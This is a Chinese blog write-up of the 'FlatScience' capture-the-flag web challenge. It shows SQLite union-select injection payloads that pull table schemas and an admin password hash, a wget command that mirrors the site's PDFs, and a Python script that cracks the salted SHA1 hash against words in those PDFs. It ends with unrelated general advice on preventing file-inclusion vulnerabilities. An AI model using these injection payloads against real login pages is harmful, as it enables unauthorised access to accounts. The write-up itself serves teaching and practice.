攻防世界 web FlatScience

http://39.96.86.88/2020/04/03/

打开网页后每个转跳都点一下发现都是pdf文件除了here
在这里插入图片描述
进入了根目录1,然后点here或者these会进入不同的根目录。
这也太难看出其中的奥秘了,用dirsearch跑一下。
在这里插入图片描述
经过测试后:发现login.php与admin.php是解题的关键
admin.php的源代码提示了不要绕过,虽然大多数题目都会这样说。
在这里插入图片描述
在login.php的源代码里找到了提示
在这里插入图片描述
加上 ?debuf 出现源码
 通过网页输入而且连接sqlite数据库,这无疑是SQLite注入了。
SQLite数据库自带sqlite_master表。
在这里插入图片描述
查询 usr=‘ union select name,sql from sqlite_master&pw=
在这里插入图片描述通过set-cookie发现Users里面有这几个表

id int primary key
name varchar
password varchar
hint varchar

于是利用联合查询一个一个看:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句

usr=%27 UNION SELECT id, name from Users--+&pw=chybeta
//name=+admin
usr=%27 UNION SELECT id, password from Users--+&pw=chybeta
//name=+3fab54a50e770d830c0416df817567662a9dc85c
usr=%27 UNION SELECT id, hint from Users--+&pw=chybeta
// name=+my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。

结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

wget ip -r -np -nd -A .pdf

然后用脚本拼接上"Salz"后hash加密与前面注入得出的password比较,这样就可以得出管理员得密码了
在这里插入图片描述我的kali炸了,以后再实机演示。

下面贴出大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

这道题碰巧可以用另一种方法,账户密码刚好可以md解密出来
在这里插入图片描述去掉后面的Salz!,管理员登陆得到flag
在这里插入图片描述

没写完,明天再来。
https://blog.csdn.net/zz_caleb/article/details/89323133

攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值